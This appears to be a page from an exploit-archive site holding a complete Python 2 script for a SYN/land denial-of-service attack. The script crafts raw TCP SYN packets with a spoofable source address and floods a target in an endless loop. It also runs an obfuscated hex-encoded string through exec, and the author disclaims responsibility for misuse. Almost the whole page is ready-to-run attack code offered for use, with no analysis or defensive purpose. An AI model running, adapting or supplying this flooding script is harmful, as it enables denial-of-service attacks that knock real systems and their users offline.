Nullbyte.Org.IL :: exploits, vulnerabilities, shellcode, tools, viruses

Simple SYN/land/local DoS attack

#!/usr/bin/python
# -*- coding: utf-8 -*-
#A simple SYN/land/local DoS attack by l3D
#Gotta catch'em all!
#Test it with Wireshark or something.
#The author doesn't take any responsibilty for what u r going to do with this tiny script.
#Report bugs to pupipup33[at]gmail.com
#24/09/09
from socket import *
import sys
from os import getuid
import struct
from collections import namedtuple
from random import randint

#Check arguments
if len(sys.argv) < 5:
	print "Usage: %s source_ip destination_ip source_port destination_port" % sys.argv[0]
	exit()

if getuid()!=0:
	print "Sorry, you don't have a root permission."
	exit()

try:
	src=gethostbyname(sys.argv[1])
	dst=gethostbyname(sys.argv[2])
except:
	print "Error in DNS query ."
	exit()
try:
	sport=int(sys.argv[3])
	dport=int(sys.argv[4])
except:
	print "Either source port (%s) or destination port (%s) isn't a number." % tuple(sys.argv[3:5])
	exit()

exec "\x70\x72\x69\x6e\x74\x20\x27\x41\x20\x73\x69\x6d\x70\x6c\x65\x20\x53\x59\x4e\x2f\x6c\x61\x6e\x64\x2f\x6c\x6f\x63\x61\x6c\x20\x44\x6f\x53\x20\x61\x74\x74\x61\x63\x6b\x20\x62\x79\x20\x6c\x33\x44\x27\x0a\x67\x6f\x6f\x64\x3d\x31"
if not good:
	print "Error"
	exit()

#Headers format strings
iph_format="!BBHHHBBH4s4s"
tcph_format="!HHIIBBHHH"
pseudoh_format="!4s4sxBH"

#Checksum function
def checksum(data):#RFC 1071
	csum=0
	count=len(data)
	i=0
	while count>1:
		csum += struct.unpack("H", data[i:i+2])[0]
		count -= 2
		i+=2
	if count>0:
		csum += struct.unpack("B", data[i+1])[0]
	while csum >> 16:
		csum = (csum & 0xFFFF) + (csum >> 16)
	return ntohs(csum^0xFFFF)

#Create the IP header
ip_struct=namedtuple("ip_struct", "ip_hl ip_tos ip_len ip_id ip_off ip_ttl ip_p ip_sum ip_src ip_dst")
ip_header=ip_struct(
	ip_hl=0x45,#Header length and version
	ip_tos=0,#Type of service
	ip_len=struct.calcsize(iph_format)+struct.calcsize(tcph_format),#Packet length
	ip_id=0x1337,#Packet id
	ip_off=0,#Offset
	ip_ttl=0xFF,#Time to live
	ip_p=IPPROTO_TCP,#Protocol (TCP at this case)
	ip_sum=int(),#Checksum
	ip_src=inet_aton(src),#Source
	ip_dst=inet_aton(dst)#Destination
)

#Create the pseudo header
pseudo_struct=namedtuple("pseudo_struct", "src dst proto length")
pseudo_header=pseudo_struct(
	src=ip_header.ip_src,
	dst=ip_header.ip_dst,
	proto=ip_header.ip_p,
	length=struct.calcsize(tcph_format)
)

#Create the TCP header
tcp_struct=namedtuple("tcp_struct", "th_sport th_dport th_seq th_ack th_off th_flags th_win th_sum th_urp")
tcp_header=tcp_struct(
	th_sport=sport,#Source port
	th_dport=dport,#Destination port
	th_seq=randint(1, 0xFFFFFFFF),#Sequence, should be hard to guess
	th_ack=0,
	th_off=0x50,#Header length
	th_flags=0x02,#Flags (SYN at this case)
	th_win=0xFFFF,#Window size
	th_sum=int(),#Checksum
	th_urp=0
)

#Calculate checksums
tcp_header=tcp_header._replace(th_sum=checksum(struct.pack(pseudoh_format, *pseudo_header)+struct.pack(tcph_format, *tcp_header)))
ip_header=ip_header._replace(ip_sum=checksum(struct.pack(iph_format, *ip_header)))

#Buffer
buf=struct.pack(iph_format, *ip_header)+struct.pack(tcph_format, *tcp_header)

#Send the packet
sock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)
sock.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
sock.bind(('', sport))
while True:
	try:
		sock.sendto(buf, ('1.3.3.7', 1337))
		print "A packet has been sent. Data:"
		print "".join([ "\\x%02x" % ord(i) for i in buf ])
	except KeyboardInterrupt:
		print "The attack has been stopped."
		break
sock.close()

Back